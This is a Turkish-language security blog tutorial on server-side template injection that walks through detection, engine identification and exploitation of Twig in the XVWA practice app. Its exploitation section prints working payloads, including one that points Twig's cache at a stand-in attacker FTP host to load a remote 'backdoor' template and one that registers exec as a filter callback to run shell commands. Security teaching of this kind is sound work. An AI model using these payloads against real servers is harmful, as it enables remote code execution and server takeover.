Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Server Side Template Injection

Template Injection Nedir ?

Tema/Şablon motorları (Template Engine) web uygulamalarında dinamik verileri sunmak için kullanılan yaygın yöntemlerden biridir. Şablonlara beklenenin dışında, geliştiricinin istemediği şekilde girdi eklemek, XSS çalıştırmak son derece kolaydır ve kritik bir güvenlik zafiyeti olan Template Injection zafiyetini sömürülebilir ve sunucu tarafına doğrudan saldırı için kullanılabilir, uzaktan kod çalıştırma (RCE) elde edilebilir. Bu zafiyet hem geliştirici hatası hem de içerik yönetim sistemleri (CMS) tarafından işlevsellik sunmak için template engine kullanılmasından kaynaklanmaktadır.

Web uygulamaları dinamik içeriği sayfalara ve e-postalara katmak için genellikle Twig ve FreeMaker gibi şablon sistemlerini kullanırlar.

Pazarlama için geliştirilmiş bir toplu e-posta uygulaması düşünelim;
Alıcıları mail başında ismine göre (Merhaba Hakkı,) selamlamak için Twig kullanıldığını var sayalım.
İsim aşağıdaki gibi şablona aktarılırsa düzgün çalışır.

$output = $twig->render("Dear {first_name}," array("first_name" =>
$user.first_name) );

Ancak aşağıdaki gibi kullanıcının bu e-postayı özelleştirmesine izin verilirse potansiyel zafiyet baş gösterdi demektir.

$output = $twig->render($_GET['custom_email'], array("first_name" =>
$user.first_name) );

İkinci örnekte kullanıcı şablonun kendisine verilmiş bir değer yerine custom_email GET parametresi ile kontrol eder, haliyle bu durumda bir XSS zafiyeti ortaya çıkar ve bununla birlikte daha kritik Template Injection zafiyetinin varlığı kontrol edilebilir.

custom_email={{7*7}}

Yukarıdaki gibi bir kod çalıştırılır ve çıktısı 49 olursa, Template Injection zafiyeti olduğu doğrulanabilir.

Örn;


Template Injection; kullanıcı girdilerinin doğrudan şablona eklenmesi durumunda ortaya çıkmaktadır.

Yukarıdaki örnek XVWA üzerinden gösterilmiştir.

Zafiyet Tespiti

Template Injection zafiyeti, kendi algılama yöntemine göre değişen iki farklı bağlamda görülebilir.

Düz Metin İçeriği

Çoğu şablon dili HTML formlar üzerinde ‚text’ girişi yapabileceğimiz girdi bağlamını desteklemektedir, aşağıdaki yöntemlerden biri ile görülecektir.

smarty=Hello {user.name}
Hello user1

freemarker=Hello ${username}
Hello newuser

any=<b>Hello</b>
<b>Hello</b>

Bu durum sıklıkla XSS ile sonuçlanır haliyle XSS zafiyetini gördüğümüz her yer potansiyel template injection zafiyeti demektir. Şablon motorları HTML karakterleri ile çakışmamak üzere yapılandırılmıştır.

Kod İçeriği

Kullanıcı adı, değişken olarak şablon deyimine yerleştirilebilir.

personal_greeting=username
Hello user01

Bu şekilde değişken olarak kullanıldığında açık bir şekilde XSS ile karşılaşmıyoruz ve değeri değiştirdiğimizde genelde boş bir çıktı yada uygulama hatası ile sonuçlanıyor. Bu durumda bir şablon ifadesi ve ardından HTML tagi ekleyerek zafiyeti saptayabiliriz.

personal_greeting=username
Hello

personal_greeting=username}}
Hello user01

Tanımlama

Template Injection zafiyetini tespit ettikten sonra uygulamamız gereken adım şablon motorunu tanımlama olmalıdır fakat genellikle otomatik hata mesajlarından direk tanımlanabilir, hata mesajları gizlendiğinde ise iş başa düşmektedir. Tespit için kullanacağımız girdiler şablon motorlarına göre değişiklik gösterebilmektedir.
Örneğin; {{7*7}} girdisi Twig’de 49 olarak çıktı verirken, Jinja2’de 7777777 şeklinde bir çıktı vermektedir. Bu şekilde tanımlama için kullanılabilecek örnek girdiler ve çıkaracağımız sonuç şablonu aşağıdaki gibidir.

 

İstismar / Exploit

Tespit ve tanımlama adımlarından sonra uygulamamız gereken işlem erişilebilen belgelerin okunmasıdır, bu adamın önemi küçümsenmemelidir.

Bir sonraki adım, neye sahip olduğunuzu tam olarak öğrenmek için çevreyi keşfetmektir. Hem şablon motoru tarafından sağlanan varsayılan nesneleri hem de geliştiricinin şablona aktarılan uygulamaya özgü nesneleri bulmaya çalışılmalıdır. Çoğu şablon sistemi kapsamı her şeyi içeren bir”sel” veya namespace nesnesi ve bir nesnenin niteliklerini ve yöntemlerini listelemek için deyimsel bir yöntem sunar.
Eğer yerleşik bir öz nesne yoksa, değişken adları zorlamak zorunda kalacaksınız. Bunun için,FuzzDB ve Burp Intruder’ın sözcük listesi topluluğu; PHP projelerinde kullanılan GET / POST değişken adlarını ve GitHub’ı tarayarak  herkese açık olarak bir wordlists yayınladı.
Geliştirici tarafından sağlanan nesnelerin özellikle hassas bilgiler içermesi muhtemeldir ve bir uygulama içindeki farklı şablonlar arasında değişiklik gösterebilir, bu nedenle bu işlem ideal olarak ayrı ayrı her şablona uygulanmalıdır.

Bu noktada, size sunulan saldırı yüzeyi hakkında sağlam bir fikriniz olmalı ve her bir işlevin istismar edilebilir zayıflıklar açısından gözden geçirilerek geleneksel güvenlik denetim tekniklerini kullanabilmelisiniz.
Uygulamaya özel özellikleri kullanmak için bazı işlevler kullanılabilir. Verilebilecek örnekler dosya okuma / yazma, LFI/RFI, bilgi ifşası ve yetki yükseltme güvenlik açıklarını tetiklemek için template injection kullanacaktır.

İstismar

Bu aşamada zafiyetli web uygulaması XVWA üzerinde bulunan Twig şablon motoru üzerinden örnek gösterilmiştir, diğer motorlar için örnekler aşağıdaki bağlantıdan incelenebilir.

http://blog.portswigger.net/2015/08/server-side- template-injection.html

Twig, PHP dilinde kullanılan popüler şablon motorlarından birisidir. Smarty’nin güvenli moduna benzer diyebiliriz, statik yöntemleri çağırmak mümkün değildir. Twig’in kendi (_self) nesnesi vardır bu nedenle
değişken isimlerini bulmaya zorlamak zorunda kalmayacağız.
_self nesnesi istismar için işimize yarayacak yöntemler içermiyor ancak Twig_Environment nesnesi altında bulunan env niteliğine sahiptir.
Twig_Cache yöntemi, Twig’in derlenmiş şablonlarını (PHP dosyalarını) yüklemeye ve çalıştırdığı dosyaların konumunu değiştirmemize olanak sağlayan bir yöntemdir yani RFI zafiyeti sağlamaktadır.

{{_self.env.setCache("ftp://attacker.net:2121")}}

{{_self.env.loadTemplate("backdoor")}}

Bununla birlikte PHP’nin güncel sürümlerinde allow_url_include vasıtasıyla uzaktaki dosyaların varsayılan olarak eklenmesi engellenebilir yani bu örneğe sık rastlayamayız.
getFilter yönteminde 874. Satır üzerindeki kod call_user_func işlevini çağırıyor, istediğimiz PHP işlevini çağırıp çalıştırabiliriz.

public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

aşağıdaki girdi ile komut çalıştırılabilecektir.

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Server-Side%20Template%20Injection%20RCE%20For%20The%20Modern%20Web%20App%20-%20BlackHat%2015.pdf

About Hakkı YÜCE

Cyber Security Researcher / Project Director at Canyoupwnme

Follow Me